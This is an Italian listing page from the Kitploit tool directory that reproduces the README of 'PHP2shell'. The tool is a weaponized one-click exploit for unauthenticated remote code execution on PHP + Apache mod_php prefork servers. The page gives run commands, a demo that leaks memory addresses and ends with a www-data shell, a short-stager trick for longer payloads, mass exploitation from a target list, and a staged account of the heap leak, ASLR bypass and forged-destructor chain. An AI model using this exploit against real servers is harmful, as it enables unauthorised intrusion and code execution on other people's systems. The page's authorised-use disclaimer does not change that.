Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PHP2shell — PoC di exploit one-click per CVE-2026-109618 e CVE-2026-109619 contro target vulnerabili PHP + Apache mod_php (prefork). | Kitploit
Strumenti/GitHubGitHub/0xgh057r3c0n/php2shell
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSviluppo PayloadBinary Exploitation
GitHub0xgh057r3c0n/php2shell

PHP2shell

PoC di exploit one-click per CVE-2026-109618 e CVE-2026-109619 contro target vulnerabili PHP + Apache mod_php (prefork).

Vedi Repository
10h 45m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Logo PHP

💀 PHP2shell

PoC weaponized one-click per CVE-2026-109618 e CVE-2026-109619

Prende di mira deployment PHP + Apache mod_php (prefork) vulnerabili.

CVSS Licenza Python Autore

⚠️ AVVERTENZA: Questo strumento è fornito esclusivamente per test di sicurezza autorizzati, CTF e ricerca didattica. Non utilizzarlo contro infrastrutture di cui non sei proprietario o per cui non hai esplicita autorizzazione al test. L'autore non si assume alcuna responsabilità per usi impropri.


⚡ L'Exploit

PHP2shell è un exploit multi-stadio di corruzione della memoria che prende di mira il core di PHP all'interno di ambienti Apache mod_php prefork.

Sfruttando la gestione Out-Of-Memory (OOM) e lo stato di proprietà della richiesta che sopravvive nei worker persistenti, questo exploit aggira l'ASLR (Address Space Layout Randomization), fa trapelare puntatori interni dell'heap e di libphp.so, e forgia strutture PHP per ottenere Remote Code Execution (RCE) non autenticata.

🎯 Profili Supportati

  • bookworm (Predefinito): Immagine Docker ufficiale php:8.4.26-apache su Debian Bookworm.
  • lab: Build lab personalizzata (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).

🚀 Avvio Rapido

Inizia a usarlo in pochi secondi.

1. Clona e Prepara

git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py

2. Fire in the Hole

python3 php2shell.py -u http://127.0.0.1:8088/index.php

📸 Demo del terminale

$ python3 php2shell.py -u http://target.local/index.php

       .__           ________         .__           .__  .__   
______ |  |__ ______ \_____  \   _____|  |__   ____ |  | |  |  
\____ \|  |  \\____ \ /  ____/  /  ___/  |  \_/ __ \|  | |  |  
|  |_> >   Y  \  |_> >       \  \___ \|   Y  \  ___/|  |_|  |__
|   __/|___|  /   __/\_______ \/____  >___|  /\___  >____/____/
|__|        \/|__|           \/     \/     \/     \/           

                 php2shell — CVE-2026-109618 / CVE-2026-109619
                             CVSS v4.0: 9.2 Critical
                              author: 0xgh057r3c0n

[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ Utilizzo avanzato

Clicca per espandere tutte le opzioni e le tecniche

Comandi personalizzati (limite di 14 byte)

A causa della dimensione del carrier di 167 byte, la lunghezza del comando è strettamente limitata a 14 byte. Per eseguire payload più lunghi, utilizza uno stager breve:

python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'

File di destinazione (sfruttamento di massa)

Crea un file targets.txt:

http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local

Esegui l'exploit in sequenza contro tutti i target:

python3 php2shell.py -t targets.txt

Offset espliciti

Se hai estratto gli offset manualmente o stai puntando a una build personalizzata, passali direttamente:

python3 php2shell.py -u http://target.local/index.php \
  --zif-offset 0x43A870 \
  --dtor-offset 0x613C50 \
  --htdata-offset 0x690D8

Verifica remota

Invece di controllare un file locale, forza l'exploit a verificare l'RCE recuperando un file via HTTP:

python3 php2shell.py -u http://target.local/index.php \
  -c 'id>/out/p1' \
  --proof-file '' \
  --fetch /out/p1

Tutti gli argomenti CLI

ArgomentoDescrizione
-u, --urlURL della pagina PHP di destinazione
-t, --target-fileFile con un URL di destinazione per riga
-c, --cmdComando da eseguire (max 14 byte)
--proof-fileFile di proof locale da verificare (predefinito: out/p1)
--fetchPercorso GET per verificare lo sfruttamento in remoto
--profileProfilo di destinazione: bookworm (predefinito) o lab
--zif-offsetOffset di zif_system in libphp.so
--dtor-offsetOffset di ZVAL_PTR_DTOR in libphp.so
--htdata-offsetOffset relativo al chunk della stringa di 167 byte
--retriesTentativi per fase di leak (predefinito: 3)
--no-colorDisabilita i colori ANSI

🧠 Analisi della catena di attacco

Fase 0 Rotazione dei worker: Invia una richiesta sovradimensionata per forzare Apache prefork ad abortire il worker corrente e generare un nuovo processo figlio con un heap pulito.
Fase 1 Leak dell'heap: Provoca una corruzione OOM in modo che un puntatore globale del modulo faccia riferimento a memoria liberata. I campi di form inviati in spray recuperano lo slot con uno zend_string contraffatto, facendo trapelare puntatori dell'heap tramite Set-Cookie.
Fase 2 Bypass ASLR: Fa trapelare un puntatore a zval_ptr_dtor da libphp.so. Sottraendo il valore noto DTOR_OFFSET si rivela l'indirizzo base della libreria.
Fase 3 RCE: Contraffà una HashTable falsa e imposta pDestructor su libphp_base + ZIF_OFFSET. La routine di pulizia di PHP chiama zif_system con il tuo comando.

Rilasciato sotto la MIT License. Vedi LICENSE per i dettagli.

Realizzato con 🔥 da 0xgh057r3c0n

Scarica lo strumento